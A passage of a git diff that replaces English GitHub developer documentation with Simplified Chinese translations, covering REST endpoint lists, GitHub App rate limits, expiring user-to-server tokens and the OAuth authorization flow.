+* [获取页面视图](/rest/reference/repository-metrics#get-page-views)
 {% endif %}
 
 {% ifversion fpt or ghec %}
-#### User Blocking
+#### 用户阻止
 
-* [List users blocked by the authenticated user](/rest/reference/users#list-users-blocked-by-the-authenticated-user)
-* [Check if a user is blocked by the authenticated user](/rest/reference/users#check-if-a-user-is-blocked-by-the-authenticated-user)
-* [List users blocked by an organization](/rest/reference/orgs#list-users-blocked-by-an-organization)
-* [Check if a user is blocked by an organization](/rest/reference/orgs#check-if-a-user-is-blocked-by-an-organization)
-* [Block a user from an organization](/rest/reference/orgs#block-a-user-from-an-organization)
-* [Unblock a user from an organization](/rest/reference/orgs#unblock-a-user-from-an-organization)
-* [Block a user](/rest/reference/users#block-a-user)
-* [Unblock a user](/rest/reference/users#unblock-a-user)
+* [列出经验证用户阻止的用户](/rest/reference/users#list-users-blocked-by-the-authenticated-user)
+* [检查用户是否被经验证的用户阻止](/rest/reference/users#check-if-a-user-is-blocked-by-the-authenticated-user)
+* [列出被组织阻止的用户](/rest/reference/orgs#list-users-blocked-by-an-organization)
+* [检查用户是否被组织阻止](/rest/reference/orgs#check-if-a-user-is-blocked-by-an-organization)
+* [阻止用户访问组织](/rest/reference/orgs#block-a-user-from-an-organization)
+* [取消阻止用户访问组织](/rest/reference/orgs#unblock-a-user-from-an-organization)
+* [阻止用户](/rest/reference/users#block-a-user)
+* [取消阻止用户](/rest/reference/users#unblock-a-user)
 {% endif %}
 
 {% ifversion fpt or ghes or ghec %}
-#### User Emails
+#### 用户电子邮件
 
 {% ifversion fpt or ghec %}
-* [Set primary email visibility for the authenticated user](/rest/reference/users#set-primary-email-visibility-for-the-authenticated-user)
+* [设置经验证用户的主电子邮件地址可见性](/rest/reference/users#set-primary-email-visibility-for-the-authenticated-user)
 {% endif %}
-* [List email addresses for the authenticated user](/rest/reference/users#list-email-addresses-for-the-authenticated-user)
-* [Add email address(es)](/rest/reference/users#add-an-email-address-for-the-authenticated-user)
-* [Delete email address(es)](/rest/reference/users#delete-an-email-address-for-the-authenticated-user)
-* [List public email addresses for the authenticated user](/rest/reference/users#list-public-email-addresses-for-the-authenticated-user)
+* [列出经验证用户的电子邮件地址](/rest/reference/users#list-email-addresses-for-the-authenticated-user)
+* [添加电子邮件地址](/rest/reference/users#add-an-email-address-for-the-authenticated-user)
+* [删除电子邮件地址](/rest/reference/users#delete-an-email-address-for-the-authenticated-user)
+* [列出经验证用户的公开电子邮件地址](/rest/reference/users#list-public-email-addresses-for-the-authenticated-user)
 {% endif %}
 
-#### User Followers
+#### 用户关注者
 
-* [List followers of a user](/rest/reference/users#list-followers-of-a-user)
-* [List the people a user follows](/rest/reference/users#list-the-people-a-user-follows)
-* [Check if a person is followed by the authenticated user](/rest/reference/users#check-if-a-person-is-followed-by-the-authenticated-user)
-* [Follow a user](/rest/reference/users#follow-a-user)
-* [Unfollow a user](/rest/reference/users#unfollow-a-user)
-* [Check if a user follows another user](/rest/reference/users#check-if-a-user-follows-another-user)
+* [列出用户的关注者](/rest/reference/users#list-followers-of-a-user)
+* [列出用户关注的人](/rest/reference/users#list-the-people-a-user-follows)
+* [检查用户是否被经验证用户关注](/rest/reference/users#check-if-a-person-is-followed-by-the-authenticated-user)
+* [关注用户](/rest/reference/users#follow-a-user)
+* [取消关注用户](/rest/reference/users#unfollow-a-user)
+* [检查用户是否关注其他用户](/rest/reference/users#check-if-a-user-follows-another-user)
 
-#### User Gpg Keys
+#### 用户 Gpg 密钥
 
-* [List GPG keys for the authenticated user](/rest/reference/users#list-gpg-keys-for-the-authenticated-user)
-* [Create a GPG key for the authenticated user](/rest/reference/users#create-a-gpg-key-for-the-authenticated-user)
-* [Get a GPG key for the authenticated user](/rest/reference/users#get-a-gpg-key-for-the-authenticated-user)
-* [Delete a GPG key for the authenticated user](/rest/reference/users#delete-a-gpg-key-for-the-authenticated-user)
-* [List gpg keys for a user](/rest/reference/users#list-gpg-keys-for-a-user)
+* [列出经验证用户的 GPG 密钥](/rest/reference/users#list-gpg-keys-for-the-authenticated-user)
+* [为经验证用户创建 GPG 密钥](/rest/reference/users#create-a-gpg-key-for-the-authenticated-user)
+* [获取经验证用户的 GPG 密钥](/rest/reference/users#get-a-gpg-key-for-the-authenticated-user)
+* [删除经验证用户的 GPG 密钥](/rest/reference/users#delete-a-gpg-key-for-the-authenticated-user)
+* [列出用户的 Gpg 密钥](/rest/reference/users#list-gpg-keys-for-a-user)
 
-#### User Public Keys
+#### 用户公钥
 
-* [List public SSH keys for the authenticated user](/rest/reference/users#list-public-ssh-keys-for-the-authenticated-user)
-* [Create a public SSH key for the authenticated user](/rest/reference/users#create-a-public-ssh-key-for-the-authenticated-user)
-* [Get a public SSH key for the authenticated user](/rest/reference/users#get-a-public-ssh-key-for-the-authenticated-user)
-* [Delete a public SSH key for the authenticated user](/rest/reference/users#delete-a-public-ssh-key-for-the-authenticated-user)
-* [List public keys for a user](/rest/reference/users#list-public-keys-for-a-user)
+* [列出经验证用户的 SSH 公钥](/rest/reference/users#list-public-ssh-keys-for-the-authenticated-user)
+* [为经验证用户创建 SSH 公钥](/rest/reference/users#create-a-public-ssh-key-for-the-authenticated-user)
+* [获取经验证用户的 SSH 公钥](/rest/reference/users#get-a-public-ssh-key-for-the-authenticated-user)
+* [删除经验证用户的 SSH 公钥](/rest/reference/users#delete-a-public-ssh-key-for-the-authenticated-user)
+* [列出用户的公钥](/rest/reference/users#list-public-keys-for-a-user)
 
-#### Users
+#### 用户
 
-* [Get the authenticated user](/rest/reference/users#get-the-authenticated-user)
-* [List app installations accessible to the user access token](/rest/reference/apps#list-app-installations-accessible-to-the-user-access-token)
+* [获取经验证的用户](/rest/reference/users#get-the-authenticated-user)
+* [列出用户访问令牌可访问的应用程序安装设施](/rest/reference/apps#list-app-installations-accessible-to-the-user-access-token)
 {% ifversion fpt or ghec %}
-* [List subscriptions for the authenticated user](/rest/reference/apps#list-subscriptions-for-the-authenticated-user)
+* [列出经验证用户的订阅](/rest/reference/apps#list-subscriptions-for-the-authenticated-user)
 {% endif %}
-* [List users](/rest/reference/users#list-users)
-* [Get a user](/rest/reference/users#get-a-user)
+* [列出用户](/rest/reference/users#list-users)
+* [获取用户](/rest/reference/users#get-a-user)
 
 {% ifversion fpt or ghec %}
-#### Workflow Runs
+#### 工作流程运行
 
-* [List workflow runs for a repository](/rest/reference/actions#list-workflow-runs-for-a-repository)
-* [Get a workflow run](/rest/reference/actions#get-a-workflow-run)
-* [Cancel a workflow run](/rest/reference/actions#cancel-a-workflow-run)
-* [Download workflow run logs](/rest/reference/actions#download-workflow-run-logs)
-* [Delete workflow run logs](/rest/reference/actions#delete-workflow-run-logs)
-* [Re run a workflow](/rest/reference/actions#re-run-a-workflow)
-* [List workflow runs](/rest/reference/actions#list-workflow-runs)
-* [Get workflow run usage](/rest/reference/actions#get-workflow-run-usage)
+* [列出仓库的工作流程运行](/rest/reference/actions#list-workflow-runs-for-a-repository)
+* [获取工作流程运行](/rest/reference/actions#get-a-workflow-run)
+* [取消工作流程运行](/rest/reference/actions#cancel-a-workflow-run)
+* [下载工作流程运行日志](/rest/reference/actions#download-workflow-run-logs)
+* [删除工作流程运行日志](/rest/reference/actions#delete-workflow-run-logs)
+* [重新运行工作流程](/rest/reference/actions#re-run-a-workflow)
+* [列出工作流程运行](/rest/reference/actions#list-workflow-runs)
+* [获取工作流程运行使用情况](/rest/reference/actions#get-workflow-run-usage)
 {% endif %}
 
 {% ifversion fpt or ghec %}
-#### Workflows
+#### 工作流程
 
-* [List repository workflows](/rest/reference/actions#list-repository-workflows)
-* [Get a workflow](/rest/reference/actions#get-a-workflow)
-* [Get workflow usage](/rest/reference/actions#get-workflow-usage)
+* [列出仓库工作流程](/rest/reference/actions#list-repository-workflows)
+* [获取工作流程](/rest/reference/actions#get-a-workflow)
+* [获取工作流程使用情况](/rest/reference/actions#get-workflow-usage)
 {% endif %}
 
 {% ifversion fpt or ghes > 3.1 or ghae or ghec %}
 
-## Further reading
+## 延伸阅读
 
-- "[About authentication to {% data variables.product.prodname_dotcom %}](/github/authenticating-to-github/about-authentication-to-github#githubs-token-formats)"
+- “[关于 {% data variables.product.prodname_dotcom %} 向验证身份](/github/authenticating-to-github/about-authentication-to-github#githubs-token-formats)”
 
 {% endif %}
diff --git a/translations/zh-CN/content/developers/apps/building-github-apps/index.md b/translations/zh-CN/content/developers/apps/building-github-apps/index.md
index 20e2cd4b16..ad2e3b5d96 100644
--- a/translations/zh-CN/content/developers/apps/building-github-apps/index.md
+++ b/translations/zh-CN/content/developers/apps/building-github-apps/index.md
@@ -1,6 +1,6 @@
 ---
-title: Building GitHub Apps
-intro: You can build GitHub Apps for yourself or others to use. Learn how to register and set up permissions and authentication options for GitHub Apps.
+title: 构建 GitHub 应用程序
+intro: 您可以构建您自己或其他人使用的 GitHub 应用程序。 了解如何注册和设置 GitHub 应用程序的权限及身份验证选项。
 redirect_from:
   - /apps/building-integrations/setting-up-and-registering-github-apps
   - /apps/building-github-apps
diff --git a/translations/zh-CN/content/developers/apps/building-github-apps/rate-limits-for-github-apps.md b/translations/zh-CN/content/developers/apps/building-github-apps/rate-limits-for-github-apps.md
index 6027f1bb2b..2db440f825 100644
--- a/translations/zh-CN/content/developers/apps/building-github-apps/rate-limits-for-github-apps.md
+++ b/translations/zh-CN/content/developers/apps/building-github-apps/rate-limits-for-github-apps.md
@@ -1,5 +1,5 @@
 ---
-title: Rate limits for GitHub Apps
+title: GitHub 应用程序的速率限制
 intro: '{% data reusables.shortdesc.rate_limits_github_apps %}'
 redirect_from:
   - /early-access/integrations/rate-limits
@@ -14,15 +14,16 @@ versions:
   ghec: '*'
 topics:
   - GitHub Apps
-shortTitle: Rate limits
+shortTitle: 速率限制
 ---
-## Server-to-server requests
+
+## 服务器到服务器请求
 
 {% ifversion ghec %}
 
 The rate limits for server-to-server requests made by {% data variables.product.prodname_github_apps %} depend on where the app is installed. If the app is installed on organizations or repositories owned by an enterprise on {% data variables.product.product_location %}, then the rate is higher than for installations outside an enterprise.
 
-### Normal server-to-server rate limits
+### 标准的服务器到服务器速率限制
 
 {% endif %}
 
@@ -30,32 +31,32 @@ The rate limits for server-to-server requests made by {% data variables.product.
 
 {% ifversion ghec %}
 
-### {% data variables.product.prodname_ghe_cloud %} server-to-server rate limits
+### {% data variables.product.prodname_ghe_cloud %} 服务器到服务器速率限制
 
 {% data variables.product.prodname_github_apps %} that are installed on an organization or repository owned by an enterprise on {% data variables.product.product_location %} have a rate limit of 15,000 requests per hour for server-to-server requests.
 
 {% endif %}
 
-## User-to-server requests
+## 用户到服务器请求
 
-{% data variables.product.prodname_github_apps %} can also act [on behalf of a user](/apps/building-github-apps/identifying-and-authorizing-users-for-github-apps/#identifying-and-authorizing-users-for-github-apps), making user-to-server requests.
+{% data variables.product.prodname_github_apps %} 还可以[代表用户](/apps/building-github-apps/identifying-and-authorizing-users-for-github-apps/#identifying-and-authorizing-users-for-github-apps)发送用户到服务器的请求。
 
 {% ifversion ghec %}
 
 The rate limits for user-to-server requests made by {% data variables.product.prodname_github_apps %} depend on where the app is installed. If the app is installed on organizations or repositories owned by an enterprise on {% data variables.product.product_location %}, then the rate is higher than for installations outside an enterprise.
 
-### Normal user-to-server rate limits
+### 标准的用户到服务器速率限制
 
 {% endif %}
 
-User-to-server requests are rate limited at {% ifversion ghae %}15,000{% else %}5,000{% endif %} requests per hour and per authenticated user. All OAuth applications authorized by that user, personal access tokens owned by that user, and requests authenticated with that user's{% ifversion ghae %} token{% else %} username and password{% endif %} share the same quota of 5,000 requests per hour for that user.
+User-to-server requests are rate limited at {% ifversion ghae %}15,000{% else %}5,000{% endif %} requests per hour and per authenticated user. 该用户授权的所有 OAuth 应用程序、该用户拥有的个人访问令牌以及使用该用户的{% ifversion ghae %} 令牌{% else %} 用户名和密码{% endif %} 验证的请求，将共享该用户每小时 5,000 个请求的配额。
 
 {% ifversion ghec %}
 
-### {% data variables.product.prodname_ghe_cloud %} user-to-server rate limits
+### {% data variables.product.prodname_ghe_cloud %} 用户到服务器速率限制
 
 When a user belongs to an enterprise on {% data variables.product.product_location %}, user-to-server requests to resources owned by the same enterprise are rate limited at 15,000 requests per hour and per authenticated user. All OAuth applications authorized by that user, personal access tokens owned by that user, and requests authenticated with that user's username and password share the same quota of 5,000 requests per hour for that user.
 
 {% endif %}
 
-For more detailed information about rate limits, see "[Rate limiting](/rest/overview/resources-in-the-rest-api#rate-limiting)" for REST API and "[Resource limitations]({% ifversion ghec %}/free-pro-team@latest{% endif %}/graphql/overview/resource-limitations)" for GraphQL API.
+有关速率限制的更多信息，请参阅 REST API 的“[速率限制](/rest/overview/resources-in-the-rest-api#rate-limiting)”和 GraphQL API 的“[资源限制]({% ifversion ghec %}/free-pro-team@latest{% endif %}/graphql/overview/resource-limitations)”。
diff --git a/translations/zh-CN/content/developers/apps/building-github-apps/refreshing-user-to-server-access-tokens.md b/translations/zh-CN/content/developers/apps/building-github-apps/refreshing-user-to-server-access-tokens.md
index 7acf2cb64a..ccbb20e96a 100644
--- a/translations/zh-CN/content/developers/apps/building-github-apps/refreshing-user-to-server-access-tokens.md
+++ b/translations/zh-CN/content/developers/apps/building-github-apps/refreshing-user-to-server-access-tokens.md
@@ -1,6 +1,6 @@
 ---
-title: Refreshing user-to-server access tokens
-intro: 'To enforce regular token rotation and reduce the impact of a compromised token, you can configure your {% data variables.product.prodname_github_app %} to use expiring user access tokens.'
+title: 刷新用户到服务器访问令牌
+intro: '要实施定期令牌轮换并减少受威胁令牌的影响，您可以配置 {% data variables.product.prodname_github_app %} 以使用过期用户访问令牌。'
 redirect_from:
   - /apps/building-github-apps/refreshing-user-to-server-access-tokens
   - /developers/apps/refreshing-user-to-server-access-tokens
@@ -11,35 +11,36 @@ versions:
   ghec: '*'
 topics:
   - GitHub Apps
-shortTitle: Refresh user-to-server access
+shortTitle: 刷新用户到服务器的访问权限
 ---
+
 {% data reusables.pre-release-program.expiring-user-access-tokens %}
 
 
-## About expiring user access tokens
+## 关于过期用户访问令牌
 
-To enforce regular token rotation and reduce the impact of a compromised token, you can configure your {% data variables.product.prodname_github_app %} to use expiring user access tokens. For more information on making user-to-server requests, see "[Identifying and authorizing users for GitHub Apps](/apps/building-github-apps/identifying-and-authorizing-users-for-github-apps/)."
+要实施定期令牌轮换并减少受威胁令牌的影响，您可以配置 {% data variables.product.prodname_github_app %} 以使用过期用户访问令牌。 有关发出用户到服务器请求的更多信息，请参阅“[识别和授权 GitHub 应用程序用户](/apps/building-github-apps/identifying-and-authorizing-users-for-github-apps/)”。
 
-Expiring user tokens expire after 8 hours. When you receive a new user-to-server access token, the response will also contain a refresh token, which can be exchanged for a new user token and refresh token. Refresh tokens are valid for 6 months. 
+过期用户令牌在 8 小时后过期。 当您收到新的用户到服务器访问令牌时，响应还将包含刷新令牌，可以将其交换为新的用户令牌和刷新令牌。 刷新令牌的有效期为 6 个月。
 
-## Renewing a user token with a refresh token
+## 使用刷新令牌续订用户令牌
 
-To renew an expiring user-to-server access token, you can exchange the `refresh_token` for a new access token and `refresh_token`.
+要续订过期的用户到服务器访问令牌，您可以将 `refresh_token` 交换为新的访问令牌和 `refresh_token`。
 
   `POST https://github.com/login/oauth/access_token`
 
-This callback request will send you a new access token and a new refresh token.  This callback request is similar to the OAuth request you would use to exchange a temporary `code` for an access token. For more information, see "[Identifying and authorizing users for GitHub Apps](/apps/building-github-apps/identifying-and-authorizing-users-for-github-apps/#2-users-are-redirected-back-to-your-site-by-github)" and "[Basics of authentication](/rest/guides/basics-of-authentication#providing-a-callback)."
+此回调请求将向您发送新的访问令牌和新的刷新令牌。  此回调请求类似于用来将临时 `code` 交换为访问令牌的 OAuth 请求。 更多信息请参阅“[识别和授权 GitHub 应用程序用户](/apps/building-github-apps/identifying-and-authorizing-users-for-github-apps/#2-users-are-redirected-back-to-your-site-by-github)”和“[身份验证基础知识](/rest/guides/basics-of-authentication#providing-a-callback)”。
 
-### Parameters
+### 参数
 
-Name | Type | Description
------|------|------------
-`refresh_token` | `string` | **Required.** The token generated when the  {% data variables.product.prodname_github_app %} owner enables expiring tokens and issues a new user access token.
-`grant_type` | `string` | **Required.** Value must be `refresh_token` (required by the OAuth specification).
-`client_id` | `string` | **Required.** The  client ID for your {% data variables.product.prodname_github_app %}.
-`client_secret` | `string`   | **Required.** The  client secret for your {% data variables.product.prodname_github_app %}.
+| 名称              | 类型    | 描述                                                                                      |
+| --------------- | ----- | --------------------------------------------------------------------------------------- |
+| `refresh_token` | `字符串` | **必填。**当 {% data variables.product.prodname_github_app %} 所有者启用过期令牌并颁发新的用户访问令牌时生成的令牌。 |
+| `grant_type`    | `字符串` | **必填。**值必须为 `refresh_token`（OAuth 规范要求）。                                                |
+| `client_id`     | `字符串` | **必填。**{% data variables.product.prodname_github_app %} 的客户端 ID。                      |
+| `client_secret` | `字符串` | **必填。**{% data variables.product.prodname_github_app %} 的客户端密钥。                       |
 
-### Response
+### 响应
 
 ```json
 {
@@ -51,35 +52,34 @@ Name | Type | Description
   "token_type": "bearer"
 }
 ```
-## Configuring expiring user tokens for an existing GitHub App
+## 为现有 GitHub 应用程序配置过期用户令牌
 
-You can enable or disable expiring user-to-server authorization tokens from your {% data variables.product.prodname_github_app %} settings.
+您可以在 {% data variables.product.prodname_github_app %} 设置中启用或禁用过期用户到服务器授权令牌
 
 {% data reusables.user-settings.access_settings %}
 {% data reusables.user-settings.developer_settings %}
 {% data reusables.user-settings.github_apps %}
-4. Click **Edit** next to your chosen {% data variables.product.prodname_github_app %}.
-  ![Settings to edit a GitHub App](/assets/images/github-apps/edit-test-app.png)
-5. In the left sidebar, click **{% ifversion ghes < 3.1 %} Beta {% else %} Optional {% endif %} Features**.
+4. 单击所选 {% data variables.product.prodname_github_app %} 旁边的 **Edit（编辑）**。 ![编辑 GitHub 应用程序的设置](/assets/images/github-apps/edit-test-app.png)
+5. 在左侧栏中，单击 **{% ifversion ghes < 3.1 %} 测试 {% else %} 可选 {% endif %} 功能**。
   {% ifversion ghes < 3.1 %} ![Beta features tab](/assets/images/github-apps/beta-features-option.png) {% else %} ![Optional features tab](/assets/images/github-apps/optional-features-option.png) {% endif %}
-6. Next to "User-to-server token expiration", click **Opt-in** or **Opt-out**. This setting may take a couple of seconds to apply.
+6. 在“User-to-server token expiration（用户到服务器令牌过期）”旁边，单击 **Opt-in（选择加入）**或 **Opt-out（选择退出）**。 应用此设置可能需要几秒钟的时间。
 
-## Opting out of expiring tokens for new GitHub Apps
+## 为新的 GitHub 应用程序选择退出过期令牌
 
-When you create a new {% data variables.product.prodname_github_app %}, by default your app will use expiring user-to-server access tokens.
+当您创建新的 {% data variables.product.prodname_github_app %} 时，默认情况下，您的应用程序将使用过期用户到服务器访问令牌。
 
-If you want your app to use non-expiring user-to-server access tokens, you can deselect "Expire user authorization tokens" on the app settings page.
+如果希望应用程序使用不过期用户到服务器访问令牌，您可以在应用程序设置页面上取消选择“Expire user authorization tokens（过期用户授权令牌）”。
 
-![Option to opt-in to expiring user tokens during GitHub Apps setup](/assets/images/github-apps/expire-user-tokens-selection.png)
+![在 GitHub 应用程序设置过程中选择加入过期用户令牌的选项](/assets/images/github-apps/expire-user-tokens-selection.png)
 
-Existing {% data variables.product.prodname_github_apps %} using user-to-server authorization tokens are only affected by this new flow when the app owner enables expiring user tokens for their app.
+仅当应用程序所有者为其应用程序启用了过期用户令牌时，使用用户到服务器授权令牌的现有 {% data variables.product.prodname_github_apps %} 才会受到这个新流程的影响。
 
-Enabling expiring user tokens for existing {% data variables.product.prodname_github_apps %} requires sending users through the OAuth flow to re-issue new user tokens that will expire in 8 hours and making a request with the refresh token to get a new access token and refresh token. For more information, see "[Identifying and authorizing users for GitHub Apps](/apps/building-github-apps/identifying-and-authorizing-users-for-github-apps/)."
+要为现有 {% data variables.product.prodname_github_apps %} 启用过期用户令牌，需要通过 OAuth 流程发送用户以重新颁发将在 8 小时后过期的新用户令牌，并使用刷新令牌发出请求以获取新的访问令牌和刷新令牌。 更多信息请参阅“[识别和授权 GitHub 应用程序用户](/apps/building-github-apps/identifying-and-authorizing-users-for-github-apps/)”。
 
 {% ifversion fpt or ghes > 3.1 or ghae or ghec %}
 
-## Further reading
+## 延伸阅读
 
-- "[About authentication to {% data variables.product.prodname_dotcom %}](/github/authenticating-to-github/about-authentication-to-github#githubs-token-formats)"
+- “[关于 {% data variables.product.prodname_dotcom %} 向验证身份](/github/authenticating-to-github/about-authentication-to-github#githubs-token-formats)”
 
 {% endif %}
diff --git a/translations/zh-CN/content/developers/apps/building-github-apps/setting-permissions-for-github-apps.md b/translations/zh-CN/content/developers/apps/building-github-apps/setting-permissions-for-github-apps.md
index df3ebbe72d..079342a5cd 100644
--- a/translations/zh-CN/content/developers/apps/building-github-apps/setting-permissions-for-github-apps.md
+++ b/translations/zh-CN/content/developers/apps/building-github-apps/setting-permissions-for-github-apps.md
@@ -1,5 +1,5 @@
 ---
-title: Setting permissions for GitHub Apps
+title: 设置 GitHub 应用程序的权限
 intro: '{% data reusables.shortdesc.permissions_github_apps %}'
 redirect_from:
   - /apps/building-integrations/setting-up-and-registering-github-apps/about-permissions-for-github-apps
@@ -13,6 +13,7 @@ versions:
   ghec: '*'
 topics:
   - GitHub Apps
-shortTitle: Set permissions
+shortTitle: 设置权限
 ---
-GitHub Apps don't have any permissions by default. When you create a GitHub App, you can select the permissions it needs to access end user data. Permissions can also be added and removed. For more information, see "[Editing a GitHub App's permissions](/apps/managing-github-apps/editing-a-github-app-s-permissions/)."
+
+GitHub 应用程序默认没有任何权限。 创建 GitHub 应用程序时，您可以选择访问最终用户数据所需的权限。 还可以添加和删除权限。 更多信息请参阅“[编辑 GitHub 应用程序的权限](/apps/managing-github-apps/editing-a-github-app-s-permissions/)”。
diff --git a/translations/zh-CN/content/developers/apps/building-oauth-apps/authorizing-oauth-apps.md b/translations/zh-CN/content/developers/apps/building-oauth-apps/authorizing-oauth-apps.md
index d390f9c8e5..1f8746b197 100644
--- a/translations/zh-CN/content/developers/apps/building-oauth-apps/authorizing-oauth-apps.md
+++ b/translations/zh-CN/content/developers/apps/building-oauth-apps/authorizing-oauth-apps.md
@@ -1,5 +1,5 @@
 ---
-title: Authorizing OAuth Apps
+title: 授权 OAuth 应用程序
 intro: '{% data reusables.shortdesc.authorizing_oauth_apps %}'
 redirect_from:
   - /apps/building-integrations/setting-up-and-registering-oauth-apps/about-authorization-options-for-oauth-apps
@@ -17,66 +17,67 @@ versions:
 topics:
   - OAuth Apps
 ---
-{% data variables.product.product_name %}'s OAuth implementation supports the standard [authorization code grant type](https://tools.ietf.org/html/rfc6749#section-4.1) and the OAuth 2.0 [Device Authorization Grant](https://tools.ietf.org/html/rfc8628) for apps that don't have access to a web browser.
 
-If you want to skip authorizing your app in the standard way, such as when testing your app, you can use the [non-web application flow](#non-web-application-flow).
+{% data variables.product.product_name %} 的 OAuth 实现支持标准[授权代码授予类型](https://tools.ietf.org/html/rfc6749#section-4.1)以及 OAuth 2.0 [设备授权授予](https://tools.ietf.org/html/rfc8628)（针对无法访问 web 浏览器的应用程序）。
 
-To authorize your OAuth app, consider which authorization flow best fits your app.
+如果您想要跳过以标准方式授权应用程序，例如测试应用程序时， 您可以使用[非 web 应用程序流程](#non-web-application-flow)。
 
-- [web application flow](#web-application-flow): Used to authorize users for standard OAuth apps that run in the browser. (The [implicit grant type](https://tools.ietf.org/html/rfc6749#section-4.2) is not supported.){% ifversion fpt or ghae or ghes > 3.0 or ghec %}
-- [device flow](#device-flow):  Used for headless apps, such as CLI tools.{% endif %}
+要授权您的 OAuth 应用程序，请考虑哪个授权流程最适合您的应用程序。
 
-## Web application flow
+- [Web 应用程序流程](#web-application-flow)：用于授权在浏览器中运行标准 OAuth 应用程序的用户。 （不支持 [隐含的授予类型](https://tools.ietf.org/html/rfc6749#section-4.2)。）{% ifversion fpt or ghae or ghes > 3.0 or ghec %}
+- [设备流程](#device-flow)：用于无头应用程序，例如 CLI 工具。{% endif %}
+
+## Web 应用程序流程
 
 {% note %}
 
-**Note:** If you are building a GitHub App, you can still use the OAuth web application flow, but the setup has some important differences. See "[Identifying and authorizing users for GitHub Apps](/apps/building-github-apps/identifying-and-authorizing-users-for-github-apps/)" for more information.
+**注：**如果您要构建 GitHub 应用程序，依然可以使用 OAuth web 应用程序流程，但设置方面有一些重要差异。 更多信息请参阅“[识别和授权 GitHub 应用程序用户](/apps/building-github-apps/identifying-and-authorizing-users-for-github-apps/)”。
 
 {% endnote %}
 
-The web application flow to authorize users for your app is:
+授权应用程序用户的 web 应用程序流程是：
 
-1. Users are redirected to request their GitHub identity
-2. Users are redirected back to your site by GitHub
-3. Your app accesses the API with the user's access token
+1. 用户被重定向，以请求他们的 GitHub 身份
+2. 用户被 GitHub 重定向回您的站点
+3. 您的应用程序使用用户的访问令牌访问 API
 
-### 1. Request a user's GitHub identity
+### 1. 请求用户的 GitHub 身份
 
     GET {% data variables.product.oauth_host_code %}/login/oauth/authorize
 
-When your GitHub App specifies a `login` parameter, it prompts users with a specific account they can use for signing in and authorizing your app.
+当您的 GitHub 应用程序指定 `login` 参数后，它将提示拥有特定账户的用户可以用来登录和授权您的应用程序。
 
-#### Parameters
+#### 参数
 
-Name | Type | Description
------|------|--------------
-`client_id`|`string` | **Required**. The client ID you received from GitHub when you {% ifversion fpt or ghec %}[registered](https://github.com/settings/applications/new){% else %}registered{% endif %}.
-`redirect_uri`|`string` | The URL in your application where users will be sent after authorization. See details below about [redirect urls](#redirect-urls).
-`login` | `string` | Suggests a specific account to use for signing in and authorizing the app.
-`scope`|`string` | A space-delimited list of [scopes](/apps/building-oauth-apps/understanding-scopes-for-oauth-apps/). If not provided, `scope` defaults to an empty list for users that have not authorized any scopes for the application. For users who have authorized scopes for the application, the user won't be shown the OAuth authorization page with the list of scopes. Instead, this step of the flow will automatically complete with the set of scopes the user has authorized for the application. For example, if a user has already performed the web flow twice and has authorized one token with `user` scope and another token with `repo` scope, a third web flow that does not provide a `scope` will receive a token with `user` and `repo` scope.
-`state` | `string` | {% data reusables.apps.state_description %}
-`allow_signup`|`string` | Whether or not unauthenticated users will be offered an option to sign up for GitHub during the OAuth flow. The default is `true`. Use `false` when a policy prohibits signups.
+| 名称             | 类型    | 描述                                                                                                                                                                                                                                                                                                                    |
+| -------------- | ----- | --------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
+| `client_id`    | `字符串` | **必填**。 您{% ifversion fpt or ghec %}[注册 ](https://github.com/settings/applications/new){% else %}registered{% endif %} 时从 GitHub 收到的客户端 ID。                                                                                                                                                                           |
+| `redirect_uri` | `字符串` | 用户获得授权后被发送到的应用程序中的 URL。 有关[重定向 url](#redirect-urls)，请参阅下方的详细信息。                                                                                                                                                                                                                                                       |
+| `login`        | `字符串` | 提供用于登录和授权应用程序的特定账户。                                                                                                                                                                                                                                                                                                   |
+| `作用域`          | `字符串` | 用空格分隔的[作用域](/apps/building-oauth-apps/understanding-scopes-for-oauth-apps/)列表。 如果未提供，对于未向应用程序授权任何作用域的用户，`scope` 将默认为空白列表。 对于已向应用程序授权作用域的用户，不会显示含作用域列表的 OAuth 授权页面。 相反，通过用户向应用程序授权的作用域集，此流程步骤将自动完成。 例如，如果用户已执行两次 web 流程，且授权了一个拥有 `user` 作用域的令牌和一个拥有 `repo` 作用域的令牌，未提供 `scope` 的第三次 web 流程将收到拥有 `user` 和 `repo` 作用域的令牌。 |
+| `state`        | `字符串` | {% data reusables.apps.state_description %}
+| `allow_signup` | `字符串` | 在 OAuth 流程中，是否向经过验证的用户提供注册 GitHub 的选项。 默认值为 `true`。 如有政策禁止注册，请使用 `false`。                                                                                                                                                                                                                                             |
 
-### 2. Users are redirected back to your site by GitHub
+### 2. 用户被 GitHub 重定向回您的站点
 
-If the user accepts your request, {% data variables.product.product_name %} redirects back to your site with a temporary `code` in a code parameter as well as the state you provided in the previous step in a `state` parameter. The temporary code will expire after 10 minutes. If the states don't match, then a third party created the request, and you should abort the process.
+如果用户接受您的请求，{% data variables.product.product_name %} 将重定向回您的站点，其中，代码参数为临时 `code`，`state` 参数为您在上一步提供的状态。 临时代码将在 10 分钟后到期。 如果状态不匹配，然后第三方创建了请求，您应该中止此过程。
 
-Exchange this `code` for an access token:
+用此 `code` 换访问令牌：
 
     POST {% data variables.product.oauth_host_code %}/login/oauth/access_token
 
-#### Parameters
+#### 参数
 
-Name | Type | Description
------|------|--------------
-`client_id` | `string` | **Required.** The client ID you received from {% data variables.product.product_name %} for your {% data variables.product.prodname_oauth_app %}.
-`client_secret` | `string` | **Required.** The client secret you received from {% data variables.product.product_name %} for your {% data variables.product.prodname_oauth_app %}.
-`code` | `string` | **Required.** The code you received as a response to Step 1.
-`redirect_uri` | `string` | The URL in your application where users are sent after authorization.
+| 名称              | 类型    | 描述                                                                                                                 |
+| --------------- | ----- | ------------------------------------------------------------------------------------------------------------------ |
+| `client_id`     | `字符串` | **必填。**您从 {% data variables.product.product_name %} 收到的 {% data variables.product.prodname_oauth_app %} 的客户端 ID。 |
+| `client_secret` | `字符串` | **必填。**您从 {% data variables.product.product_name %} 收到的 {% data variables.product.prodname_oauth_app %} 的客户端密钥。  |
+| `代码`            | `字符串` | **必填。**您收到的响应第 1 步的代码。                                                                                             |
+| `redirect_uri`  | `字符串` | 用户获得授权后被发送到的应用程序中的 URL。                                                                                            |
 
-#### Response
+#### 响应
 
-By default, the response takes the following form:
+默认情况下，响应采用以下形式：
 
 ```
